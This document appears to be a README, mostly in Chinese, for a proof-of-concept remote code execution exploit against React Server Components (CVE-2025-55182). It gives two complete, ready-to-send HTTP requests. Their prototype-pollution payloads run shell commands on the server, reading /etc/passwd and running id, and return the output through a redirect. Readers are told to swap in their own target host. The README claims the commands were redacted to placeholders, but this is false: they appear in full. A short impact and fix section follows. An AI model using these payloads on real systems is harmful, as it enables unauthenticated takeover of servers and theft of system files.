React Server Components RCE – README

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描述

React Server Components 版本 19.0.0、19.1.0、19.1.1 和 19.2.0，包括 react-server-dom-parcel、react-server-dom-turbopack 和 react-server-dom-webpack，存在一个远程代码执行漏洞。

该问题由对发送到 Server Function 端点的攻击者控制载荷进行不安全反序列化触发。

PoC – 完整请求（已脱敏）

以下是展示该漏洞的完整 HTTP 请求，敏感命令已替换为占位符。将 redacted.com 替换为你的目标主机。

POST / HTTP/1.1
Host: redacted.com
Sec-Ch-Ua: "Not=A?Brand";v="24", "Chromium";v="140"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: b5dce965
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 721

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('cat /etc/passwd|tr \"\\n\" \"@\"').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

id 命令

POST / HTTP/1.1
Host: redecated.com
Sec-Ch-Ua: "Not=A?Brand";v="24", "Chromium";v="140"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: b5dce965
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 691

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

PoC 总结：

服务器从 multipart 请求中反序列化结构化载荷。
不安全反序列化允许攻击者影响执行流程。
敏感命令已替换为占位符以确保安全。

影响

未经身份验证的攻击者可以远程执行任意代码，可能导致完全系统沦陷。

修复措施

更新到最新的 React Server Components 版本，其中已修补不安全反序列化路径。

参考资料

愿你屏幕前一切安好 :) ✨❤️

React2Shell_Rce-cve-2025-55182

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